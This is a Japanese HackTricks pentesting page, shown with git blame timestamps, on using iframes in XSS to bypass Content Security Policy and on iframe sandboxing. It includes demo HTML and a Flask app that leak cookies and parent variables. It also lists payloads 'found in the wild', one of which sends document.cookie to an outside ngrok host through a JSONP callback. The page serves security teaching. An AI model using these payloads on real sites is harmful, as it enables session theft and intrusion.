hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

166 lines
11 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# XSSにおけるiframes、CSP、SOP
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## XSSにおけるiframes
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
iframesのページの内容を示す方法は3つあります
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
* `src`を使用してURLを示すURLはクロスオリジンまたは同一オリジンである可能性があります
* `src`を使用して`data:`プロトコルを使用してコンテンツを示す
* `srcdoc`を使用してコンテンツを示す
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
**親と子の変数にアクセスする**
2021-10-20 00:45:58 +00:00
```html
<html>
2023-07-07 23:42:27 +00:00
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
2021-10-20 00:45:58 +00:00
</html>
```
```html
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
```
2023-07-07 23:42:27 +00:00
もし前のHTMLにHTTPサーバー`python3 -m http.server`を介してアクセスすると、すべてのスクリプトが実行されることがわかりますCSPがないため。**親はいかなるiframe内の`secret`変数にもアクセスできず、元のウィンドウ内のsecretには、同一サイトと見なされるif2とif3のみがアクセスできます**。\
if4は`null`のオリジンと見なされることに注意してください。
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
### CSPを使用したiframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
2021-10-20 00:45:58 +00:00
2021-10-20 00:55:49 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
以下のバイパスでは、iframedページへのレスポンスにJSの実行を防ぐCSPヘッダーが含まれていないことに注意してください。
2021-10-20 00:55:49 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
`script-src`の`self`値は、`data:`プロトコルや`srcdoc`属性を使用したJSコードの実行を許可しません。\
しかし、CSPの`none`値でも、`src`属性にURL完全なURLまたはパスのみを指定するiframesの実行は許可されます。\
したがって、以下の方法でページのCSPをバイパスすることが可能です
2021-10-20 00:45:58 +00:00
```html
<html>
<head>
2023-07-07 23:42:27 +00:00
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
2021-10-20 00:45:58 +00:00
</head>
2023-07-07 23:42:27 +00:00
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
2021-10-20 00:45:58 +00:00
</html>
```
2023-07-07 23:42:27 +00:00
前のCSPは、インラインスクリプトの実行のみを許可していることに注意してください。\
ただし、`if1`と`if2`のスクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできます。
2021-10-20 00:45:58 +00:00
2021-12-24 01:52:37 +00:00
![](<../../.gitbook/assets/image (627) (1) (1).png>)
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
したがって、`script-src 'none'`であっても、サーバーにJSファイルをアップロードし、iframeを介してロードすることができれば、CSPをバイパスすることが可能です。これは、同じサイトのJSONPエンドポイントを悪用することでも実現できます。
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
次のシナリオでこれをテストすることができます。`script-src 'none'`であっても、クッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください。
2021-10-20 00:45:58 +00:00
```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
2023-07-07 23:42:27 +00:00
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
2021-10-20 00:45:58 +00:00
@app.route("/cookie_s.html")
2021-10-20 00:55:49 +00:00
def cookie_s():
2023-07-07 23:42:27 +00:00
return "<script>alert(document.cookie)</script>"
2021-10-20 00:45:58 +00:00
if __name__ == "__main__":
2023-07-07 23:42:27 +00:00
app.run()
2021-10-20 00:45:58 +00:00
```
2023-07-07 23:42:27 +00:00
### 野生で見つかった他のペイロード <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
2021-10-20 00:45:58 +00:00
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
2022-08-04 08:54:03 +00:00
### Iframe sandbox
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
`sandbox`属性は、iframe内のコンテンツに追加の制限を設定します。**デフォルトでは、制限は適用されません。**
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
`sandbox`属性が存在する場合、以下の制限が適用されます。
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
- コンテンツを一意のオリジンとして扱う
- フォームの送信をブロックする
- スクリプトの実行をブロックする
- APIを無効にする
- リンクが他のブラウジングコンテキストをターゲットにしないようにする
- コンテンツがプラグイン(`<embed>`、`<object>`、`<applet>`など)を使用しないようにする
- コンテンツがトップレベルのブラウジングコンテキストをナビゲートしないようにする
- 自動的にトリガーされる機能をブロックする(ビデオの自動再生やフォームコントロールの自動フォーカスなど)
2021-10-20 00:45:58 +00:00
2023-07-07 23:42:27 +00:00
`sandbox`属性の値は、空にすることもできます(その場合、すべての制限が適用されます)。または、特定の制限を解除するための事前定義された値のスペース区切りのリストを指定することもできます。
2021-10-20 00:45:58 +00:00
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
2023-07-07 23:42:27 +00:00
## SOP内のIframes
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
以下のページをチェックしてください:
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
2022-08-04 08:54:03 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
2022-08-04 08:54:03 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>